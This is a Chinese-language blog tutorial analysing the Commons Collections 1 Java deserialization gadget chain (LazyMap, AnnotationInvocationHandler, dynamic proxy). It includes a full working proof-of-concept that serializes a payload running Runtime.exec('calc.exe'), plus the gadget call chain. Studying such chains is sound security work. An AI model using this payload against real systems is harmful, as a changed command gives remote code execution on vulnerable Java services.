1. 程式人生 > >Java安全之Commons Collections1分析(三)

Java安全之Commons Collections1分析(三)

# Java安全之Commons Collections1分析(三) ## 0x00 前言 繼續來分析cc鏈,用了前面幾篇文章來鋪墊了一些知識。在上篇文章裡,其實是硬看程式碼,並沒有去除錯。因為一直找不到JDK的低版本。 全靠腦子去記傳參內容嘗試理解。後面的其實就簡單多了,在上篇文章的基礎上再去做一個分析。 ​ 1. [Java安全之URLDNS鏈](https://www.cnblogs.com/nice0e3/p/13772184.html) 2. [Java安全之Commons Collections1分析前置知識](https://www.cnblogs.com/nice0e3/p/13758664.html) 3. [Java安全之Commons Collections1分析(一)](https://www.cnblogs.com/nice0e3/p/13779857.html) 4. [Java安全之Commons Collections1分析(二)](https://www.cnblogs.com/nice0e3/p/13791793.html) ## 0x01 CC鏈的另一種構造方式 上篇文章說到使用`LazyMap` 的`get`方法也可以去觸發命令執行。因為`LazyMap` 的`get`方法在 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201011171313551-1903043082.png) 這裡看到`this.factory`變數會去呼叫`transform`方法。前面也分析了該類構造方法是一個`protected`修飾的。不可被直接new。需要使用`decorate`工廠方法去提供。那麼在前面我們呼叫該方法並傳入`innerMap`和`transformerChain`引數。 這裡的innerMap是一個Map的物件,`transformerChain`是一個`ChainedTransformer`修飾過的`Transformer[]`陣列。 ``` Map tmpmap = LazyMap.decorate(innerMap, transformerChain); ``` ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201011171405476-156450859.png) 傳入過後,`LazyMap` 的`get`方法方法裡面的`this.factory`為`Transformer[]`陣列,這時候去呼叫就會執行`transform`方法,而`ChainedTransformer`的`transform`方法又會去遍歷呼叫`Transformer[]`裡面的`transform`方法,導致使用方式的方式傳入的`Runtime`呼叫了`exec`執行了`calc.exe`彈出一個計算器。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201011171420368-158996059.png) 當然在實際中,我們還需要藉助其他的類去呼叫這個get方法。 而在`AnnotationInvocationHandler`的`invoke`就會去呼叫`get`方法。 ``` public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } ``` 這裡特地標出來 ``` Object var6 = this.memberValues.get(var4); ``` 前面說過 構造方法傳入的是`transformerChain`,` this.memberValues=transformerChain` `this.memberValues` 是一個`ChainedTransformer`修飾過的`Transformer[]`陣列。這時候呼叫`get`,`get`方法呼叫`transform`,又回到了剛剛的話題上了。 `AnnotationInvocationHandler`的`invoke`怎麼去呼叫呢? 在這裡會使用到動態代理的方式去呼叫到該方法。關於動態代理可以參考該篇文章[動態代理機制](https://www.cnblogs.com/nice0e3/p/13562660.html)。 ## 0x02 動態代理 關於動態代理,在這裡其實還是有必要單獨拿出來說一下動態代理這個機制。 動態代理的實現: ``` Proxy.newProxyInstance(Person.class.getClassLoader(), Class[]interfaces,InvocationHandler h) ``` * 第一個引數:People.getClass().getClassLoader(),使用handler物件的 classloader物件來載入我們的代理物件 * 第二個引數:Person.getClass().getInterfaces(),這里為代理類提供的介面 是真實物件實現的介面,這樣代理物件就能像真實物件一樣呼叫介面中的所有方法 * 第三個引數:我們將代理物件關聯到上面的InvocationHandler物件上 ## 0x03 POC 分析 ``` public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); } ``` 主要是來看這一段程式碼 ``` Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); ``` 這裡的handler是反射建立的一個 `AnnotationInvocationHandler`類。而`AnnotationInvocationHandler`中實現了`InvocationHandler`介面,可以直接作為呼叫處理器傳入。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201011171540413-687426309.png) 那麼在這段poc的執行中執行反序列化的時候,`AnnotationInvocationHandler`重寫了`readObject()`方法,所以呼叫的是`AnnotationInvocationHandler`的`readObject()`方法。`readObject()`方法會去呼叫memberValues的`entrySet()`方法。這裡的`memberValues`是構造方法傳入進來的引數,我們是使用反射的方式對他進行建立傳入的是`proxyMap`。 對應的程式碼: ``` Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ``` 因為`proxyMap`是我們的代理物件,所以呼叫`proxyMap`的`entrySet()`會觸發到`AnnotationInvocationHandler`的`invoke()`方法進行執行。這也是動態代理的一個特性,代理物件呼叫任意方法,呼叫處理器中的`invoke()`方法都執行一次。 執行`AnnotationInvocationHandler`的`invoke()`方法後又會呼叫get方法,再次回到剛剛的地方了。 `LazyMap` 的`get`方法方法裡面的`this.factory`為`Transformer[]`陣列,這時候去呼叫就會執行`transform`方法,而`ChainedTransformer`的`transform`方法又會去遍歷呼叫`Transformer[]`裡面的`transform`方法,導致使用方式的方式傳入的`Runtime`呼叫了`exec`執行了`calc.exe`彈出一個計算器。 那麼就剛好對應了前面標出來的一個利用鏈 ``` Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ``` ## 0x04 結尾 在CC1這條鏈裡面其實是有版本限制的,在高版本無法使用。因為`AnnotationInvocationHandler`的`readObject()`複寫點這個地方在高版本中是進行了改動。在其他大佬測試中jdk1.7u21、jdk1.8_101、jdk1.8_171這幾個版本是可用的。